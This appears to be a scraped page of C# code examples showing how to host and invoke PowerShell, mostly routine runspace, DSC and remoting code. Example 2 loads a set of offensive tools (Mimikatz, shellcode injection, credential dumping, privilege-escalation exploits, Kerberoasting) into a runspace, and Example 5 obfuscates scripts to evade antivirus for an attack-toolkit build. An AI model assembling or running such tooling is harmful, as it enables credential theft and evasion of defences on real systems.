Ejemplo n.º 1
0
        /// <summary>
        /// Runs a PowerShell command/script asynchronously.
        /// </summary>
        /// <param name="commandText">The text of the command to run.</param>
        /// <param name="pool">An open PowerShell Runspace pool this script will use to invoke its pipeline.</param>
        /// <param name="callback">The callback function used to process the results of the asynchronous run.</param>
        /// <param name="log">[Optional] The event log to log execptions to. May be null for no logging.</param>
        /// <param name="input">[Optional] A collection of strings representing command-line input sent to the script during execution.</param>
        /// <param name="stateValues">[Optional] A collection of named state values that should be passed through the invocation to the callback function.</param>
        /// <param name="parameterList">An array of key/value objects defining additional parameters to supply to the PowerShell script.</param>
        /// <returns>An WaitHandle object that can be used to determine when the scrip has completed execution. Null if an error occurred while processing the command / script.</returns>
        static public WaitHandle RunAsynchronously(string commandText, ref RunspacePool pool, ProcessResults callback, EventLog.EventLog log = null, PSDataCollection <string> input = null, Dictionary <String, Object> stateValues = null, params KeyValuePair <String, Object>[] parameterList)
        {
            try
            {
                // Create the script object.
                PS script = PS.Create();

                // Use the runspace pool supplied or create a new one if not supplied.
                if (pool == null)
                {
                    pool = RunspaceFactory.CreateRunspacePool(DEFAULT_MIN_RUNSPACES_IN_POOL, DEFAULT_MAX_RUNSPACES_IN_POOL, CreateRunspaceConnectionInfo());
                }

                // Verify that the pool is open, otherwise open it.
                if (pool.RunspacePoolStateInfo.State != RunspacePoolState.Opened)
                {
                    pool.Open();
                }

                // Add the runspace pool to the script object.
                script.RunspacePool = pool;

                // Create the PowerShell command object.
                Command command = new Command(commandText, true);

                // Add parameters to the command.
                if (parameterList != null)
                {
                    foreach (KeyValuePair <string, object> param in parameterList)
                    {
                        command.Parameters.Add(new CommandParameter(param.Key, param.Value));
                    }
                }

                // Add the command to the script object.
                script.Commands.AddCommand(command);

                // Initialize the script input object if nothing was supplied.
                if (input == null)
                {
                    input = new PSDataCollection <string>();
                }

                // Initialize the state object to maintain data across the invocation.
                PowerShellScriptState state = new PowerShellScriptState(script);
                // Add the callback function used to process the results of the script invocation.
                state.StateVariables.Add(PROCESS_RESULTS_CALLBACK, callback);
                // Add any state values passed into the method.
                if (stateValues != null)
                {
                    foreach (string key in stateValues.Keys)
                    {
                        state.StateVariables.Add(key, stateValues[key]);
                    }
                }

                // Invoke the command asyncronously.
                return((script.BeginInvoke(input, new PSInvocationSettings(), ProcessAsynchronousResults, state)).AsyncWaitHandle);
            }
            catch (Exception e)
            {
                LogException(e, log);
                return(null);
            }
        }
Ejemplo n.º 2
0
        private void executeHelper(string cmd, object input)
        {
            if (String.IsNullOrEmpty(cmd))
            {
                return;
            }

            lock (this.instanceLock)
            {
                this.currentPowerShell = PowerShell.Create();
            }

            try
            {
                this.currentPowerShell.Runspace = this.myRunSpace;

                this.currentPowerShell.AddScript(Resources.Invoke_Shellcode());
                this.currentPowerShell.AddScript(Resources.Invoke_Mimikatz());
                this.currentPowerShell.AddScript(Resources.Invoke_ReflectivePEInjection());
                this.currentPowerShell.AddScript(Resources.Invoke_PsExec());
                this.currentPowerShell.AddScript(Resources.Invoke_TokenManipulation());
                this.currentPowerShell.AddScript(Resources.PowerCat());
                this.currentPowerShell.AddScript(Resources.Invoke_Encode());
                this.currentPowerShell.AddScript(Resources.Invoke_PowerView());
                this.currentPowerShell.AddScript(Resources.Invoke_PowerUp());
                this.currentPowerShell.AddScript(Resources.Get_PassHashes());
                this.currentPowerShell.AddScript(Resources.Get_GPPPassword());
                this.currentPowerShell.AddScript(Resources.Copy_VSS());
                this.currentPowerShell.AddScript(Resources.Port_Scan());
                this.currentPowerShell.AddScript(Resources.Inveigh());
                this.currentPowerShell.AddScript(Resources.Inveigh_relay());
                this.currentPowerShell.AddScript(Resources.Invoke_Tater());
                this.currentPowerShell.AddScript(Resources.Invoke_MS16_032());
                this.currentPowerShell.AddScript(Resources.Invoke_MS16_135());
                this.currentPowerShell.AddScript(Resources.Invoke_Kerberoast());
                this.currentPowerShell.AddScript(Resources.GetUserSPNs());
                this.currentPowerShell.AddScript(Resources.Sherlock());
                this.currentPowerShell.AddScript(Resources.Invoke_SMBExec());
                this.currentPowerShell.AddScript(Resources.Invoke_WMIExec());
                this.currentPowerShell.AddScript(Resources.Invoke_BloodHound());

                this.currentPowerShell.AddScript(cmd);
                this.currentPowerShell.AddCommand("out-default");
                this.currentPowerShell.Commands.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output);

                if (input != null)
                {
                    this.currentPowerShell.Invoke(new object[] { input });
                }
                else
                {
                    this.currentPowerShell.Invoke();
                }
            }
            finally
            {
                lock (this.instanceLock)
                {
                    this.currentPowerShell.Dispose();
                    this.currentPowerShell = null;
                }
            }
        }
Ejemplo n.º 3
0
 public static IEnumerable <T> RunScript <T>(string script)
 => Pwsh.Create().AddScript(script).Invoke <T>();
Ejemplo n.º 4
0
        /// <summary>
        /// Invoke command Get-DscResource with resource name to find the resource.
        /// When found add them to the enumerator. If we have already got it, return the next resource.
        /// </summary>
        /// <returns>Next DscResource Info object or null if none are found.</returns>
        private DscResourceInfo GetNextDscResource()
        {
            var ps = PowerShell.Create(RunspaceMode.CurrentRunspace).AddCommand("Get-DscResource");

            WildcardPattern resourceMatcher = WildcardPattern.Get(_resourceName, WildcardOptions.IgnoreCase);

            if (_matchingResourceList == null)
            {
                Collection <PSObject> psObjs = ps.Invoke();

                _matchingResourceList = new Collection <DscResourceInfo>();

                bool matchFound = false;

                foreach (dynamic resource in psObjs)
                {
                    if (resource.Name != null)
                    {
                        string resourceName = resource.Name;

                        if (resourceMatcher.IsMatch(resourceName))
                        {
                            DscResourceInfo resourceInfo = new DscResourceInfo(resourceName,
                                                                               resource.ResourceType,
                                                                               resource.Path,
                                                                               resource.ParentPath,
                                                                               _context
                                                                               );

                            resourceInfo.FriendlyName = resource.FriendlyName;

                            resourceInfo.CompanyName = resource.CompanyName;

                            PSModuleInfo psMod = resource.Module as PSModuleInfo;

                            if (psMod != null)
                            {
                                resourceInfo.Module = psMod;
                            }

                            if (resource.ImplementedAs != null)
                            {
                                ImplementedAsType impType;
                                if (Enum.TryParse <ImplementedAsType>(resource.ImplementedAs.ToString(), out impType))
                                {
                                    resourceInfo.ImplementedAs = impType;
                                }
                            }

                            var properties = resource.Properties as IList;

                            if (properties != null)
                            {
                                List <DscResourcePropertyInfo> propertyList = new List <DscResourcePropertyInfo>();

                                foreach (dynamic prop in properties)
                                {
                                    DscResourcePropertyInfo propInfo = new DscResourcePropertyInfo();
                                    propInfo.Name         = prop.Name;
                                    propInfo.PropertyType = prop.PropertyType;
                                    propInfo.UpdateValues(prop.Values);

                                    propertyList.Add(propInfo);
                                }

                                resourceInfo.UpdateProperties(propertyList);
                            }

                            _matchingResourceList.Add(resourceInfo);

                            matchFound = true;
                        } //if
                    }     //if
                }         // foreach

                if (matchFound)
                {
                    _matchingResource = _matchingResourceList.GetEnumerator();
                }
                else
                {
                    return(null);
                }
            }//if

            if (!_matchingResource.MoveNext())
            {
                _matchingResource = null;
            }
            else
            {
                return(_matchingResource.Current);
            }

            return(null);
        }
Ejemplo n.º 5
0
        static public string InvokeObfuscation(string source, bool file = false)
        {
            List <string> obfuscationCommands = new List <string>();

            obfuscationCommands.Add(@"TOKEN\ALL\1");
            obfuscationCommands.Add(@"TOKEN\STRING\1,TOKEN\COMMAND\1,TOKEN\ARGUMENT\3,TOKEN\ARGUMENT\4,TOKEN\MEMBER\4,TOKEN\COMMENT\1");
            obfuscationCommands.Add(@"TOKEN\STRING\1,TOKEN\COMMAND\1,TOKEN\COMMENT\1");

            string result  = "";
            bool   success = false; // We'll use this to track successful obfuscation.


            foreach (string obfuscationCommand in obfuscationCommands)
            {
                string cmd = $"Invoke-Obfuscation -ScriptBlock {source} -Command '{obfuscationCommand}' -Quiet";

                if (file && File.Exists(source))
                {
                    cmd = $"Invoke-Obfuscation -ScriptPath '{source}' -Command '{obfuscationCommand}' -Quiet";
                }
                if (file && !File.Exists(source))
                {
                    Display.ErrorMessage($"Could not find {source}! Check to see if the file exists.");
                    return("ERROR");
                }

                Display.SecondaryMessage($"Trying obfuscation with the following command: \n\n{cmd}");

                PowerShell ps = PowerShell.Create();
                ps.AddScript("Import-Module " + Strings.invokeObfuscationModulePath);
                ps.Invoke();
                ps.AddScript(cmd);
                result = ps.Invoke()[0].ToString();

                if (result == "")
                {
                    Display.ErrorMessage($"Obfuscation for {source} returned an empty string. Maybe AV ate it before it could be obfuscated?");
                    return("ERROR");
                }

                // Create a new, clean PowerShell runspace to test the obfuscated script
                PowerShell detChamber = PowerShell.Create();
                detChamber.AddScript(result);
                detChamber.Invoke();

                if (detChamber.Streams.Error.Count > 0)
                {
                    Display.SecondaryMessage($"Obfuscation command {obfuscationCommand} failed. Trying next in list.");
                }
                else if (detChamber.Streams.Error.Count == 0)
                {
                    Display.SecondaryMessage($"Obfuscation command {obfuscationCommand} succeeded.");
                    success = true;
                    break;
                }
            }

            if (!success)
            {
                if (file)
                {
                    Display.ErrorMessage($"Obfuscation failed for {source}.", exceptionMessage: null, secondaryMessage: "Press enter to included the un-obfuscated source into your PS>Attack build");
                }
                else
                {
                    Display.ErrorMessage($"Obfuscation failed for command: {source}.", exceptionMessage: null, secondaryMessage: "Press enter to included the un-obfuscated command into your PS>Attack build");
                }
                result = source; // Set result to unobfuscated source
            }

            if (file) // if file, write to file and return path
            {
                string destination = Path.Combine(Strings.obfuscatedScriptsDir, Path.GetFileName(source));
                if (!success) // If obfuscation hasn't sucessfully run, we'll just copy the original file over
                {
                    File.Copy(result, destination);
                }
                else
                {
                    File.WriteAllText(destination, result);
                }
                return(destination);
            }
            else // else, return obfuscated command
            {
                return(result);
            }
        }
Ejemplo n.º 6
0
        /// <summary>
        /// Helper method to find and return the job source adapter if currently loaded or
        /// otherwise load the associated module and the requested source adapter.
        /// </summary>
        /// <param name="definition">JobDefinition supplies the JobSourceAdapter information.</param>
        /// <returns>JobSourceAdapter</returns>
        private JobSourceAdapter GetJobSourceAdapter(JobDefinition definition)
        {
            string adapterTypeName;

            if (!string.IsNullOrEmpty(definition.JobSourceAdapterTypeName))
            {
                adapterTypeName = definition.JobSourceAdapterTypeName;
            }
            else if (definition.JobSourceAdapterType != null)
            {
                adapterTypeName = definition.JobSourceAdapterType.Name;
            }
            else
            {
                throw new InvalidOperationException(RemotingErrorIdStrings.JobSourceAdapterNotFound);
            }

            JobSourceAdapter adapter;
            bool             adapterFound = false;

            lock (_syncObject)
            {
                adapterFound = _sourceAdapters.TryGetValue(adapterTypeName, out adapter);
            }
            if (!adapterFound)
            {
                if (!string.IsNullOrEmpty(definition.ModuleName))
                {
                    // Attempt to load the module.
                    Exception ex = null;
                    try
                    {
                        InitialSessionState iss = InitialSessionState.CreateDefault2();
                        iss.Commands.Clear();
                        iss.Formats.Clear();
                        iss.Commands.Add(new SessionStateCmdletEntry("Import-Module", typeof(Microsoft.PowerShell.Commands.ImportModuleCommand), null));
                        using (PowerShell powerShell = PowerShell.Create(iss))
                        {
                            powerShell.AddCommand("Import-Module");
                            powerShell.AddParameter("Name", definition.ModuleName);
                            powerShell.Invoke();

                            if (powerShell.ErrorBuffer.Count > 0)
                            {
                                ex = powerShell.ErrorBuffer[0].Exception;
                            }
                        }
                    }
                    catch (RuntimeException e)
                    {
                        ex = e;
                    }
                    catch (InvalidOperationException e)
                    {
                        ex = e;
                    }
                    catch (ScriptCallDepthException e)
                    {
                        ex = e;
                    }
                    catch (SecurityException e)
                    {
                        ex = e;
                    }
                    catch (ThreadAbortException e)
                    {
                        ex = e;
                    }

                    if (ex != null)
                    {
                        throw new InvalidOperationException(RemotingErrorIdStrings.JobSourceAdapterNotFound, ex);
                    }

                    // Now try getting the job source adapter again.
                    adapter = AssertAndReturnJobSourceAdapter(adapterTypeName);
                }
                else
                {
                    throw new InvalidOperationException(RemotingErrorIdStrings.JobSourceAdapterNotFound);
                }
            }

            return(adapter);
        }
Ejemplo n.º 7
0
 private ScriptBlockToPowerShellConverter()
 {
     _powershell = PowerShell.Create();
 }
        private void HandleRunspaceCreated(object sender, RunspaceCreatedEventArgs args)
        {
            try
            {
                string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
                args.Runspace.ExecutionContext.EngineSessionState.SetLocation(folderPath);
            }
            catch (ArgumentException ex)
            {
            }
            catch (ProviderNotFoundException ex)
            {
            }
            catch (DriveNotFoundException ex)
            {
            }
            catch (ProviderInvocationException ex)
            {
            }
            Command command = (Command)null;

            if (!string.IsNullOrEmpty(this.configData.StartupScript))
            {
                command = new Command(this.configData.StartupScript, false, false);
            }
            else if (!string.IsNullOrEmpty(this.configData.InitializationScriptForOutOfProcessRunspace))
            {
                command = new Command(this.configData.InitializationScriptForOutOfProcessRunspace, true, false);
            }
            if (command == null)
            {
                return;
            }
            HostInfo hostInfo = this.remoteHost.HostInfo;

            command.MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output);
            PowerShell powershell = PowerShell.Create();

            powershell.AddCommand(command).AddCommand("out-default");
            IAsyncResult asyncResult = new ServerPowerShellDriver(powershell, (PowerShell)null, true, Guid.Empty, this.InstanceId, this, args.Runspace.ApartmentState, hostInfo, RemoteStreamOptions.AddInvocationInfo, false, args.Runspace).Start();

            powershell.EndInvoke(asyncResult);
            ArrayList dollarErrorVariable = (ArrayList)powershell.Runspace.GetExecutionContext.DollarErrorVariable;

            if (dollarErrorVariable.Count > 0)
            {
                string str = (dollarErrorVariable[0] as ErrorRecord).ToString();
                throw ServerRunspacePoolDriver.tracer.NewInvalidOperationException("RemotingErrorIdStrings", PSRemotingErrorId.StartupScriptThrewTerminatingError.ToString(), (object)str);
            }
            if (this.localRunspacePool.RunspacePoolStateInfo.State != RunspacePoolState.Opening)
            {
                return;
            }
            object valueToConvert = args.Runspace.SessionStateProxy.PSVariable.GetValue("global:PSApplicationPrivateData");

            if (valueToConvert == null)
            {
                return;
            }
            this.applicationPrivateData = (PSPrimitiveDictionary)LanguagePrimitives.ConvertTo(valueToConvert, typeof(PSPrimitiveDictionary), true, (IFormatProvider)CultureInfo.InvariantCulture, (TypeTable)null);
        }
Ejemplo n.º 9
0
        /// <summary>
        /// This sample looks at an existing .NET class and shows how to make sure that
        /// information from selected public properties of this class is preserved across
        /// serialization/deserialization.
        /// </summary>
        private static void Main()
        {
            string typesPs1XmlPath = Path.Combine(Environment.CurrentDirectory, "Serialization01.types.ps1xml");

            if (!File.Exists(typesPs1XmlPath))
            {
                Console.WriteLine("Building the project in Visual Studio should have created a types.ps1xml file at the following path:");
                Console.WriteLine("{0}", typesPs1XmlPath);
                Console.WriteLine();
                Console.WriteLine("Cannot continue without this file being present.");
                return;
            }

            // Demonstrate the effects of the types.ps1xml and DeserializingTypeConverter
            using (Runspace myRunspace = RunspaceFactory.CreateRunspace(InitialSessionState.CreateDefault()))
            {
                myRunspace.Open();

                // Demonstrate that the deserializing an exception results in a live object
                using (PowerShell powershell = PowerShell.Create())
                {
                    powershell.Runspace = myRunspace;
                    powershell.AddScript(@"
                        # Get an System.Drawing.Rectangle object
                        Add-Type -AssemblyName System.Drawing
                        $rectangle = New-Object System.Drawing.Rectangle 1,2,3,4
                        
                        # Without extra type.ps1xml Rectangle.Location property might get serialized as a string
                        Write-Output 'Below are serialization results without the extra types.ps1xml declarations: '
                        Export-CliXml -Input $rectangle -Depth 1 -Path Serialization01.xml
                        $deserializedRectangle = Import-CliXml Serialization01.xml
                        Write-Output ('$deserializedRectangle.Location is a ' + $deserializedRectangle.Location.PSTypeNames[0])
                        Write-Output '----------------------------------------'

                        # Update the system with the extra types.ps1xml declarations
                        Update-TypeData .\Serialization01.types.ps1xml

                        # After adding extra types.ps1xml declarations 
                        # chosen properties of Rectangle.Location will always get serialized
                        Write-Output 'Below are serialization results after adding the extra types.ps1xml declarations: '
                        Export-CliXml -Input $rectangle -Depth 1 -Path Serialization01.xml
                        $deserializedRectangle = Import-CliXml Serialization01.xml
                        Write-Output ('$deserializedRectangle.Location is a ' + $deserializedRectangle.Location.PSTypeNames[0])
                        if ($deserializedRectangle.Location.IsEmpty -eq $null)
                        {
                            Write-Output '$deserializedRectangle.Location.IsEmpty didnt get serialized'
                        }
                        Write-Output '----------------------------------------'

                        ");
                    foreach (string s in powershell.Invoke <string>())
                    {
                        System.Console.WriteLine(s);
                    }
                }

                // Close the runspace and release any resources.
                myRunspace.Close();
            }

            System.Console.WriteLine("Hit any key to exit...");
            System.Console.ReadKey();
        }
Ejemplo n.º 10
0
        /// <summary>
        /// This sample shows how to create a runspace and how to run
        /// commands using a PowerShell object. It builds a pipeline
        /// that runs the get-process cmdlet, which is piped to the measure-object
        /// cmdlet to count the number of processes running on the system.
        /// </summary>
        /// <param name="args">Parameter is not used.</param>
        /// <remarks>
        /// This sample demonstrates the following:
        /// 1. Creating a runspace using the RunspaceFactory class.
        /// 2. Creating a PowerShell object
        /// 3. Adding individual cmdlets to the PowerShell object.
        /// 4. Running the cmdlets synchronously.
        /// 5. Working with PSObject objects to extract properties
        ///    from the objects returned by the cmdlets.
        /// </remarks>
        private static void Main(string[] args)
        {
            Collection <PSObject> result; // Will hold the result

            // of running the cmdlets.

            // Create a runspace. We can not use the RunspaceInvoke class
            // because we need to get at the underlying runspace to
            // explicitly add the commands. Notice that no PSHost object is
            // supplied to the CreateRunspace method so the default host is
            // used. See the Host samples for more information on creating
            // your own custom host.
            using (Runspace myRunSpace = RunspaceFactory.CreateRunspace())
            {
                myRunSpace.Open();

                // Create a PowerShell object and specify the runspace.
                PowerShell powershell = PowerShell.Create();
                powershell.Runspace = myRunSpace;

                // Use the using statement so we dispose of the PowerShell object
                // when we're done.
                using (powershell)
                {
                    // Add the get-process cmdlet to the PowerShell object. Notice
                    // we are specify the name of the cmdlet, not a script.
                    powershell.AddCommand("get-process");

                    // Add the measure-object cmdlet to count the number
                    // of objects being returned. Commands are always added to the end
                    // of the pipeline.
                    powershell.AddCommand("measure-object");

                    // Run the cmdlets synchronously and save the objects returned.
                    result = powershell.Invoke();
                }

                // Even after disposing of the pipeLine, we still need to set
                // the powershell variable to null so that the garbage collector
                // can clean it up.
                powershell = null;

                // Display the results of running the commands (checking that
                // everything is ok first.
                if (result == null || result.Count != 1)
                {
                    throw new InvalidOperationException(
                              "pipeline.Invoke() returned the wrong number of objects");
                }

                PSMemberInfo count = result[0].Properties["Count"];
                if (count == null)
                {
                    throw new InvalidOperationException(
                              "The object returned doesn't have a 'count' property");
                }

                Console.WriteLine(
                    "Runspace07: The get-process cmdlet returned {0} objects",
                    count.Value);

                // Close the runspace to release any resources.
                myRunSpace.Close();
            }

            System.Console.WriteLine("Hit any key to exit...");
            System.Console.ReadKey();
        }
Ejemplo n.º 11
0
        private void HandleRunspaceCreated(object sender, RunspaceCreatedEventArgs args)
        {
            bool flag = false;

            if (SystemPolicy.GetSystemLockdownPolicy() == SystemEnforcementMode.Enforce)
            {
                args.Runspace.ExecutionContext.LanguageMode = PSLanguageMode.ConstrainedLanguage;
                flag = true;
            }
            try
            {
                string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
                args.Runspace.ExecutionContext.EngineSessionState.SetLocation(folderPath);
            }
            catch (ArgumentException)
            {
            }
            catch (ProviderNotFoundException)
            {
            }
            catch (DriveNotFoundException)
            {
            }
            catch (ProviderInvocationException)
            {
            }
            if (this.configHash != null)
            {
                if (this.configHash.ContainsKey(ConfigFileContants.EnvironmentVariables))
                {
                    Hashtable hashtable = this.configHash[ConfigFileContants.EnvironmentVariables] as Hashtable;
                    if (hashtable != null)
                    {
                        foreach (DictionaryEntry entry in hashtable)
                        {
                            string introduced76 = entry.Key.ToString();
                            this.InvokeScript(new Command(StringUtil.Format("$env:{0} = \"{1}\"", introduced76, entry.Value.ToString()), true, false), args);
                        }
                    }
                }
                if (this.configHash.ContainsKey(ConfigFileContants.VariableDefinitions))
                {
                    Hashtable[] hashtableArray = DISCPowerShellConfiguration.TryGetHashtableArray(this.configHash[ConfigFileContants.VariableDefinitions]);
                    if (hashtableArray != null)
                    {
                        foreach (Hashtable hashtable2 in hashtableArray)
                        {
                            if (hashtable2.ContainsKey(ConfigFileContants.VariableValueToken))
                            {
                                string      str2  = DISCPowerShellConfiguration.TryGetValue(hashtable2, ConfigFileContants.VariableNameToken);
                                ScriptBlock block = hashtable2[ConfigFileContants.VariableValueToken] as ScriptBlock;
                                if (!string.IsNullOrEmpty(str2) && (block != null))
                                {
                                    block.SessionStateInternal = args.Runspace.ExecutionContext.EngineSessionState;
                                    PowerShell powershell = PowerShell.Create();
                                    powershell.AddCommand(new Command("Invoke-Command")).AddParameter("ScriptBlock", block).AddParameter("NoNewScope");
                                    powershell.AddCommand(new Command("Set-Variable")).AddParameter("Name", str2);
                                    this.InvokePowerShell(powershell, args);
                                }
                            }
                        }
                    }
                }
                if (this.configHash.ContainsKey(ConfigFileContants.ScriptsToProcess))
                {
                    string[] strArray = DISCPowerShellConfiguration.TryGetStringArray(this.configHash[ConfigFileContants.ScriptsToProcess]);
                    if (strArray != null)
                    {
                        foreach (string str3 in strArray)
                        {
                            if (!string.IsNullOrEmpty(str3))
                            {
                                this.InvokeScript(new Command(str3, true, false), args);
                            }
                        }
                    }
                }
                bool flag2 = false;
                if (this.configHash.ContainsKey(ConfigFileContants.VisibleAliases))
                {
                    string[] strArray2 = DISCPowerShellConfiguration.TryGetStringArray(this.configHash[ConfigFileContants.VisibleAliases]);
                    if (strArray2 != null)
                    {
                        flag2 = true;
                        foreach (KeyValuePair <string, AliasInfo> pair in args.Runspace.ExecutionContext.EngineSessionState.GetAliasTable())
                        {
                            bool flag3 = false;
                            foreach (string str4 in strArray2)
                            {
                                if (!string.IsNullOrEmpty(str4))
                                {
                                    IEnumerable <WildcardPattern> patternList = this.CreateKeyPatternList(str4);
                                    if (this.MatchKeyPattern(patternList, pair.Key))
                                    {
                                        pair.Value.Visibility = SessionStateEntryVisibility.Public;
                                        flag3 = true;
                                    }
                                }
                            }
                            if (!flag3)
                            {
                                pair.Value.Visibility = SessionStateEntryVisibility.Private;
                            }
                        }
                    }
                }
                if (this.configHash.ContainsKey(ConfigFileContants.VisibleCmdlets))
                {
                    string[] strArray3 = DISCPowerShellConfiguration.TryGetStringArray(this.configHash[ConfigFileContants.VisibleCmdlets]);
                    if (strArray3 != null)
                    {
                        flag2 = true;
                        foreach (KeyValuePair <string, List <CmdletInfo> > pair2 in args.Runspace.ExecutionContext.EngineSessionState.GetCmdletTable())
                        {
                            bool flag4 = false;
                            foreach (string str5 in strArray3)
                            {
                                if (!string.IsNullOrEmpty(str5))
                                {
                                    IEnumerable <WildcardPattern> enumerable2 = this.CreateKeyPatternList(str5);
                                    if (this.MatchKeyPattern(enumerable2, pair2.Key))
                                    {
                                        foreach (CmdletInfo info in pair2.Value)
                                        {
                                            info.Visibility = SessionStateEntryVisibility.Public;
                                            flag4           = true;
                                        }
                                    }
                                }
                            }
                            if (!flag4)
                            {
                                foreach (CmdletInfo info2 in pair2.Value)
                                {
                                    info2.Visibility = SessionStateEntryVisibility.Private;
                                }
                            }
                        }
                    }
                }
                List <string> list  = new List <string>();
                bool          flag5 = false;
                if (this.configHash.ContainsKey(ConfigFileContants.VisibleFunctions))
                {
                    string[] strArray4 = DISCPowerShellConfiguration.TryGetStringArray(this.configHash[ConfigFileContants.VisibleFunctions]);
                    if (strArray4 != null)
                    {
                        flag2 = true;
                        flag5 = true;
                        list.AddRange(strArray4);
                    }
                }
                if (!flag5 && this.configHash.ContainsKey(ConfigFileContants.FunctionDefinitions))
                {
                    Hashtable[] hashtableArray2 = DISCPowerShellConfiguration.TryGetHashtableArray(this.configHash[ConfigFileContants.FunctionDefinitions]);
                    if (hashtableArray2 != null)
                    {
                        foreach (Hashtable hashtable3 in hashtableArray2)
                        {
                            string str6 = DISCPowerShellConfiguration.TryGetValue(hashtable3, ConfigFileContants.FunctionNameToken);
                            if (!string.IsNullOrEmpty(str6))
                            {
                                list.Add(str6);
                            }
                        }
                    }
                }
                string str7 = DISCPowerShellConfiguration.TryGetValue(this.configHash, ConfigFileContants.SessionType);
                if (!string.IsNullOrEmpty(str7))
                {
                    SessionType type = (SessionType)Enum.Parse(typeof(SessionType), str7, true);
                    if (type == SessionType.RestrictedRemoteServer)
                    {
                        list.Add("Get-Command");
                        list.Add("Get-FormatData");
                        list.Add("Select-Object");
                        list.Add("Get-Help");
                        list.Add("Measure-Object");
                        list.Add("Out-Default");
                        list.Add("Exit-PSSession");
                    }
                }
                if (list.Count > 0)
                {
                    foreach (DictionaryEntry entry2 in args.Runspace.ExecutionContext.EngineSessionState.GetFunctionTable())
                    {
                        bool         flag6 = false;
                        string       key   = entry2.Key.ToString();
                        FunctionInfo info3 = entry2.Value as FunctionInfo;
                        if (info3 != null)
                        {
                            foreach (string str9 in list)
                            {
                                if (!string.IsNullOrEmpty(str9))
                                {
                                    IEnumerable <WildcardPattern> enumerable3 = this.CreateKeyPatternList(str9);
                                    if (this.MatchKeyPattern(enumerable3, key))
                                    {
                                        info3.Visibility = SessionStateEntryVisibility.Public;
                                        flag6            = true;
                                    }
                                }
                            }
                            if (!flag6 && flag5)
                            {
                                info3.Visibility = SessionStateEntryVisibility.Private;
                            }
                        }
                    }
                }
                if (this.configHash.ContainsKey(ConfigFileContants.VisibleProviders))
                {
                    string[] strArray5 = DISCPowerShellConfiguration.TryGetStringArray(this.configHash[ConfigFileContants.VisibleProviders]);
                    if (strArray5 != null)
                    {
                        flag2 = true;
                        IDictionary <string, List <ProviderInfo> > providers = args.Runspace.ExecutionContext.EngineSessionState.Providers;
                        Collection <string> collection = new Collection <string>();
                        foreach (KeyValuePair <string, List <ProviderInfo> > pair3 in providers)
                        {
                            bool flag7 = false;
                            foreach (string str10 in strArray5)
                            {
                                if (!string.IsNullOrEmpty(str10))
                                {
                                    IEnumerable <WildcardPattern> enumerable4 = this.CreateKeyPatternList(str10);
                                    if (this.MatchKeyPattern(enumerable4, pair3.Key))
                                    {
                                        flag7 = true;
                                    }
                                }
                            }
                            if (!flag7)
                            {
                                collection.Add(pair3.Key);
                            }
                        }
                        foreach (string str11 in collection)
                        {
                            args.Runspace.ExecutionContext.EngineSessionState.Providers.Remove(str11);
                        }
                    }
                }
                if (flag2)
                {
                    CmdletInfo cmdlet = args.Runspace.ExecutionContext.SessionState.InvokeCommand.GetCmdlet(@"Microsoft.PowerShell.Core\Import-Module");
                    IDictionary <string, AliasInfo> aliasTable = args.Runspace.ExecutionContext.EngineSessionState.GetAliasTable();
                    PSModuleAutoLoadingPreference   preference = CommandDiscovery.GetCommandDiscoveryPreference(args.Runspace.ExecutionContext, SpecialVariables.PSModuleAutoLoadingPreferenceVarPath, "PSModuleAutoLoadingPreference");
                    bool flag8 = (cmdlet != null) && (cmdlet.Visibility != SessionStateEntryVisibility.Private);
                    bool flag9 = ((aliasTable != null) && aliasTable.ContainsKey("ipmo")) && (aliasTable["ipmo"].Visibility != SessionStateEntryVisibility.Private);
                    if ((flag8 || flag9) && (preference == PSModuleAutoLoadingPreference.None))
                    {
                        throw new PSInvalidOperationException(StringUtil.Format(RemotingErrorIdStrings.DISCVisibilityAndAutoLoadingCannotBeBothSpecified, new object[] { "Import-Module", "ipmo", ConfigFileContants.VisibleCmdlets, ConfigFileContants.VisibleAliases, ConfigFileContants.VisibleFunctions, ConfigFileContants.VisibleProviders }));
                    }
                }
                if (this.configHash.ContainsKey(ConfigFileContants.LanguageMode))
                {
                    PSLanguageMode mode = (PSLanguageMode)Enum.Parse(typeof(PSLanguageMode), this.configHash[ConfigFileContants.LanguageMode].ToString(), true);
                    if (flag && (mode != PSLanguageMode.ConstrainedLanguage))
                    {
                        throw new PSInvalidOperationException(RemotingErrorIdStrings.CannotCreateRunspaceInconsistentState);
                    }
                    args.Runspace.ExecutionContext.LanguageMode = mode;
                }
                if (this.configHash.ContainsKey(ConfigFileContants.ExecutionPolicy))
                {
                    ExecutionPolicy policy  = (ExecutionPolicy)Enum.Parse(typeof(ExecutionPolicy), this.configHash[ConfigFileContants.ExecutionPolicy].ToString(), true);
                    string          shellID = args.Runspace.ExecutionContext.ShellID;
                    SecuritySupport.SetExecutionPolicy(ExecutionPolicyScope.Process, policy, shellID);
                }
            }
            Command cmdToRun = null;

            if (!string.IsNullOrEmpty(this.configData.StartupScript))
            {
                cmdToRun = new Command(this.configData.StartupScript, false, false);
            }
            else if (!string.IsNullOrEmpty(this.configData.InitializationScriptForOutOfProcessRunspace))
            {
                cmdToRun = new Command(this.configData.InitializationScriptForOutOfProcessRunspace, true, false);
            }
            if (cmdToRun != null)
            {
                this.InvokeScript(cmdToRun, args);
                if (this.localRunspacePool.RunspacePoolStateInfo.State == RunspacePoolState.Opening)
                {
                    object valueToConvert = args.Runspace.SessionStateProxy.PSVariable.GetValue("global:PSApplicationPrivateData");
                    if (valueToConvert != null)
                    {
                        this.applicationPrivateData = (PSPrimitiveDictionary)LanguagePrimitives.ConvertTo(valueToConvert, typeof(PSPrimitiveDictionary), true, CultureInfo.InvariantCulture, null);
                    }
                }
            }
        }
Ejemplo n.º 12
0
        internal static Dictionary <string, List <CommandTypes> > GetExportedCommands(string modulePath, bool testOnly, System.Management.Automation.ExecutionContext context)
        {
            if (string.IsNullOrEmpty(Environment.GetEnvironmentVariable("PSDisableModuleAutoLoadingMemoryCache")))
            {
                AnalysisCacheIndexEntry entry = null;
                if ((itemCache.ContainsKey(modulePath) && (savedCacheIndex != null)) && savedCacheIndex.Entries.TryGetValue(modulePath, out entry))
                {
                    lock (itemCache)
                    {
                        if (itemCache.ContainsKey(modulePath))
                        {
                            DateTime lastWriteTime = new FileInfo(modulePath).LastWriteTime;
                            if ((lastWriteTime == entry.LastWriteTime) && (itemCache[modulePath] != null))
                            {
                                return(itemCache[modulePath]);
                            }
